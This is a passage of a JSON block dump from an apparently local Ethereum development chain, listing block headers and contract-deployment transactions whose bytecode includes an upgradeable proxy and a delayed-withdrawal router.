e57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261543a5761543a615415565b500690565b6001600160a01b038316815260406020820181905260009061464890830184615109565b8281526040602082015260006146486040830184615109565b60006020828403121561548e57600080fd5b5051919050565b6001600160a01b038416815261016081016154bd602083018580358252602090810135910152565b6154d7606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e084013782516101208301526020830151610140830152614648565b60018060a01b038316815260406020820152600082516060604084015261552f60a0840182615109565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b03841681526040602082018190526000906153e39083018486615550565b60018060a01b03851681528360208201526060604082015260006117ab606083018486615550565b600082601f8301126155d757600080fd5b815160206155e761496f836148a6565b8083825260208201915060208460051b87010193508684111561560957600080fd5b602086015b84811015614e1257805161562181614d6c565b835291830191830161560e565b6000806040838503121561564157600080fd5b82516001600160401b038082111561565857600080fd5b615664868387016155c6565b9350602085015191508082111561567a57600080fd5b50615687858286016155c6565b9150509250929050565b8381526040602082015260006153e3604083018486615550565b600060208083850312156156be57600080fd5b82516001600160401b038111156156d457600080fd5b8301601f810185136156e557600080fd5b80516156f361496f826148a6565b81815260059190911b8201830190838101908783111561571257600080fd5b928401925b8284101561573957835161572a8161448d565b82529284019290840190615717565b979650505050505050565b60006020828403121561575657600080fd5b81516127d281614d6c565b60ff8181168382160190811115610ee457610ee4615299565b60006060820160ff8616835260206001600160601b03808716602086015260406060604087015283875180865260808801915060208901955060005b818110156157e657865180516001600160a01b0316845286015185168684015295850195918301916001016157b6565b50909a9950505050505050505050565b600061ffff80831681810361580d5761580d615299565b6001019392505050565b60006020828403121561582957600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602808216919082811461586457615864615299565b505092915050565b60006001600160601b038084168061588657615886615415565b9216919091049291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a26469706673582212200e3708a41147f575b52031f19707cb5ed95922585f8720c2b3f23c5c2cb16a4164736f6c63430008180033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc4900000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","r":"0xa2cd8ca453abb032c0dd0ab9c449172e8f0cff3f544521506940f8a25d1ba100","s":"0x243c9cc1781c2ed408cd4a28c919d0bdffc4e1d41c8b815ce3994ae85716268d","yParity":"0x0","hash":"0x54f63bd0d3b9d8713f7850768a1ff1551e3d798f65638ef85b9bdf3a3e026a38"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x4ea0729e74d5a298116eb8b727ff38f2b4165bf543d19afc4c79f962eee391f3","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x97a389a0194f03c45633d0381d5751d722de8e9b09c7860c4babbd4867da11de","transactionsRoot":"0x62ca55910dd84a131407374e2ceb6c9d8279bf0bf2ede0190f1c3489dff5117a","receiptsRoot":"0x57d83bc9f4e60e94621ce74dfa3cd01518d8a3e5101375def990c6446a91ee1a","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x3","gasLimit":"0x1c9c380","gasUsed":"0x13529","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x2df9a224","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2","gas":"0x191db","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033","r":"0x6cf28b98252c815cbcf77da961f27d67641e5b8451c80b3f3e32b1126daab795","s":"0xe8669b6bc224a3e0688e7530661b8757e7e5d2e9a1f264d75dcec69810f00b7","yParity":"0x1","hash":"0xe81520cb6a61c365570ea0ecb6c4493fd513e1fbd71c92e4ee8b3937f9e5561f"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x633d2c6678a3c4e9d8e7db9625b63ef8d7e2f176617bd63da60b9c9e233ae9fb","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x011d3d83de97ffeb04bb53eff894914b5fc3afa8228260530220f8adba48052f","transactionsRoot":"0x6769e8fc882f56e77dbbc2baa6efb32c85cb1f95b8dd606618073f9c15c2aaa5","receiptsRoot":"0xc71a95b7bd867c7705e694d9eacb3b0a7d32677a2aa54a8c2ee337503d478f81","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400400000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000010000000000000400000000000000000000000000000000020000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x4","gasLimit":"0x1c9c380","gasUsed":"0x8be1b","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x28563e49","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x24","gas":"0xb5c61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x36608299fd01b85ce31bcb4fcc5bc7574b7604c6abab5de64a9e7757fe895a06","s":"0x4c94375d1bc0de220c08aec78c77b95f069f55de601b1cec7d17b49983e9dc60","yParity":"0x1","hash":"0x1d15ae6b01cf50f6bdf794782572de5debf9cb020716eec546a5c1a6694dd6d5"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x6ecf269cb665a182387c2b67df9eec0a1a7b1122aee03d2a92bb38e42b44b44a","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x8c5f597c20e0c6529957f555a585b25a7f8d8a657580f6c7ecb69720071e47f1","transactionsRoot":"0xfd738334e10c0a0e19fda6f21d44d798e12aa6146e02aca4159f437b03181516","receiptsRoot":"0xff929ae4f16778ff63bcf795ca90d6b76a5a670e5a7f6d87d28420cff1dfd9a2","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000","difficulty":"0x0","number":"0xf","gasLimit":"0x1c9c380","gasUsed":"0x1993c0","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xbd28d50","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x12","gas":"0x213d91","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea26469706673582212208638e66f5dce0ad66ff3676e3d1ac48bc288949bb5c5e4f6ec1f16e582f0f63064736f6c634300081b00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6","r":"0x2a16d40b525d9f58032a73c10b77d55df3bc40a7792d0f1a9b40a8180299cbf3","s":"0x45359bcb26e0a29ca0e9e8ee4c4791c516a7fd9b268553ad8ca568ec95d10dad","yParity":"0x1","hash":"0x7b2ad9854eb247aabf66341463e3cce73d6236a6016d1af453b6abddb1289e37"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x3bcaa36ad7008f619d364ac6e09a3fea1ec4205eb8c8f40eb2216d040365d8db","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xa51c24a144e70afde9000945ec3d9e03aa4d